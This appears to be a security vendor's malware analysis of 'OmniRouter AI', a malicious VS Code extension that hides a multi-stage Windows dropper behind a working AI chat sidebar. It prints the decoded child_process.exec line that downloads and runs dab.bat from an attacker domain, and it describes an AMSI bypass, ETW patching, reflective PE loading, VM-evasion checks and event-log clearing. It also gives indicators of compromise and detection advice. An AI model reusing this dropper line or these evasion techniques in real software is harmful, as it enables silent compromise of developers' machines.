OmniRouter AI: A Dropper in a Chat Sidebar
AI coding assistants are now normal developer tooling. A new extension that promises to route conversations across Claude, GPT, Gemini and DeepSeek from one sidebar does not look suspicious on the surface — until it starts executing a hidden batch file on every VS Code: launch.
TL;DR
guavaduck2.omnirouter-ai0.1.0 on Open VSX advertises an AI chat sidebar for Claude, GPT, Gemini and DeepSeek. The chat UI is real.- A zero-width-obfuscated
child_process.execline fires on activation and downloadsdab.batfromfdgfdgfdgfdgfhtgftdr[.]store. dab.batis a three-stage dropper: batch decoder → PowerShell with AMSI bypass and ETW patching → in-memory C# loader that reflectively loads a final PE.- The final PE payload was not retrieved at analysis time. The reflective
Assembly.Loadmeans it never touches disk unless the operator changes the chain. - Activation is
["*"], so the dropper runs on every VS Code: start.
Why this cover works
The idea of an “omni-router” for AI providers is plausible. Developers who pay for several APIs often want a single chat panel that can fall back from Claude to GPT to Gemini without copying threads between web apps. The description hits that exact pain point:
One AI chat sidebar for Claude, GPT, Gemini and DeepSeek — bring your own keys, compare costs, and transfer a conversation between models without losing context.
The extension even ships a functional-looking chat implementation: conversation storage, model selection, token-cost estimation, and provider-specific streaming handlers for Anthropic, OpenAI, Google and DeepSeek. A user who installs it for the chat UI has no reason to suspect the sidebar is a delivery vehicle for a Windows dropper.
guavaduck2 is a new publisher with no prior extensions. The repository URL in the manifest points to github.com/guavaduck/omnirouter-ai, but the account and repo are unverified and the extension is not published from that source. The package version is 0.1.0, the classic first-release signal. These are all weak trust signals, but they are common enough among experimental extensions that a hurried developer may not pause.
What the extension actually does
Activation
package.json sets the activation event to "*":
{
"name": "omnirouter-ai",
"publisher": "guavaduck2",
"version": "0.1.0",
"main": "./dist/extension.js",
"activationEvents": ["*"]
}
That single change means the extension does not wait for a command or a language mode. It runs the moment VS Code: initializes any workspace.
The dropper line
The functional chat code lives in the first part of dist/extension.js. After the conversation-store class, the file injects a single line that does not belong in a chat extension:
require("child_process").exec(
"cd /d %TEMP%&&curl -sO https://fdgfdgfdgfdgfhtgftdr.store/dab.bat && dab.bat"
);
In the original artifact this string is not present as plain text. It is reconstructed at runtime from a zero-width-character string table decoded by a helper function. The command argument is encoded using zero-width characters and decoded via a custom q function. This is not a configuration bug or a build artifact; it is deliberate concealment of a remote command execution.
The command is Windows-specific: it changes to %TEMP%, silently downloads dab.bat with curl, and runs it. The use of curl (built into Windows 10/11 since 2018) avoids bringing in a separate downloader.
Stage 1: dab.bat
The batch file is a heavily obfuscated CMD script. It defines dozens of random-looking environment variables, branches on values that are never set, and ends with a block that builds a PowerShell command. The command base64-decodes a large here-string, XORs the result with a fixed key, and executes the decoded PowerShell.
Key artifacts in the batch:
- The decoder key:
0D/ravdde07FL0iB64iLHtGgpbV68GJ9yXGA8tuEl+o=(base64, decoded to a 32-byte XOR key). - A debug file written to
$env:USERPROFILE\stub_ran.txt, useful for confirming execution. - The final line: a PowerShell
ScriptBlockcreated from the decoded script and invoked with&.
Stage 2: PowerShell setup and anti-analysis
The decoded PowerShell script begins by clearing PSModulePath and PATHEXT and appending stage markers to $env:USERPROFILE\payload_debug.txt. It then runs a quick environment check and aborts if any of the following are true:
- Total physical memory is less than 4 GB.
- The video controller name matches
vmware,svga,microsoft remote display,microsoft basic display,virtualboxorqemu. - The computer manufacturer matches
vmware,virtualbox,qemuorxen. - The operating system caption does not match
Windows 10orWindows 11. - The current username matches
frankoradministrator.
These checks are not precision VM detection; they are fast gates designed to skip sandboxes, analysts’ test boxes and common honeypot accounts. After the checks pass, the script decodes a second stage — a C# source blob, again base64-and-XOR encoded with its own key — and loads it with Add-Type -TypeDefinition $lcs -Language CSharp.
Stage 3: C# loader
The in-memory C# class, QkpRvNwtdDRigU, is a small reflective loader with the following behavior:
- Hide the console via
GetConsoleWindowandShowWindow. - Bypass AMSI by locating
AmsiScanBufferinamsi.dlland patching it with a short shellcode stub that always returnsAMSI_RESULT_CLEAN(1). The import name and procedure name are built char-by-char to evade string scanners. - Disable PowerShell logging by patching ETW.
- Decrypt a PE payload from the
encbyte array passed in from PowerShell. The loader’sRunmethod ends with:byte[] pe = Decrypt(enc); var ep = Assembly.Load(pe).EntryPoint; ep.Invoke(null, ep.GetParameters().Length > 0 ? new object[]{new string[0]} : null); - Persistence code is present but commented out in the
Runmethod (/*Persist disabled*/). ThePersistmethod contains the registry pathSoftware\Microsoft\Windows\CurrentVersion\Run, suggesting a future update may enable run-key persistence. - Cleanup clears WMI event filters and erases Security, System, Application, PowerShell and PowerShell operational logs with
wevtutil cl.
The final payload itself was not retrieved at analysis time; only the loader was decoded. The reflective Assembly.Load means the final binary never touches disk unless the operator changes the chain.
Indicators of Compromise
Malicious extension
- Open VSX identifier:
guavaduck2.omnirouter-ai - Version:
0.1.0 - Display name: OmniRouter AI
- Publisher:
guavaduck2 - Repository:
https://github.com/guavaduck/omnirouter-ai - VSIX SHA-256:
c7be9abbc07b679e59627a76db95d56e7b3208efb1b0cc3cce99ee7213948821
Network
- Stage 1 URL:
https[://]fdgfdgfdgfdgfhtgftdr[.]store/dab.bat - C2 / staging domain:
fdgfdgfdgfdgfhtgftdr[.]store - Dropper target:
extension/dist/extension.js(SHA-256918adf0088e8785d825116cc8ff4247afc1f6a9463f5b6901680143d6e366f48)
Host artifacts
- Batch file dropped:
%TEMP%\dab.bat - PowerShell debug file:
%USERPROFILE%\payload_debug.txt - Stub debug file:
%USERPROFILE%\stub_ran.txt - Registry path referenced:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - WMI cleanup:
root\subscription__EventFilterobjects removed - Event logs cleared: Security, System, Application, Windows PowerShell, Microsoft-Windows-PowerShell/Operational
Loader strings
- PowerShell XOR key (base64):
0D/ravdde07FL0iB64iLHtGgpbV68GJ9yXGA8tuEl+o= - C# loader class:
QkpRvNwtdDRigU - AMSI target:
amsi.dll→AmsiScanBuffer
Recommendations for developers
AI-aggregator extensions are attractive, but “one sidebar for every model” is also an ideal cover for a dropper. Before installing one:
- Check the publisher. A new account with a single
0.1.0release and an unverified repository should be treated as untrusted until proven otherwise. - Look at
activationEventsinpackage.json."*"means the extension runs on every launch, not just when you use it. - Avoid pasting API keys into extensions that do not come from the provider’s official tooling. Even a benign-looking aggregator can leak or exfiltrate keys.
- On Windows, monitor
%TEMP%for unexpected.batfiles andcurl.exeinvocations from Node.js parent processes. - For teams, use the Yeeth
dev-guardextension on Open VSX to receive live campaign updates for known malicious publishers.
Detection implications
The OmniRouter sample is a reminder that malicious extensions are increasingly borrowing the surface shape of legitimate developer tools. The chat functionality, the model list, and the cost-estimation code are all real enough to pass a quick manual review. The malicious logic is reduced to a single obfuscated line that executes outside the extension’s own process tree via child_process.exec.
Detection that relies on string matching for child_process will miss variants that use zero-width or homoglyph encoding. The right signal is the combination of:
- An extension with broad activation (
"*"oronStartupFinished). - A decoded string that resolves to a remote executable fetch.
- Execution of a non-extension binary from
%TEMP%triggered by a VS Code: extension host process.
A behavioral anchor keyed on those three properties catches the next publisher that reuses the same dropper technique, even if the extension name, display name, and C2 domain change.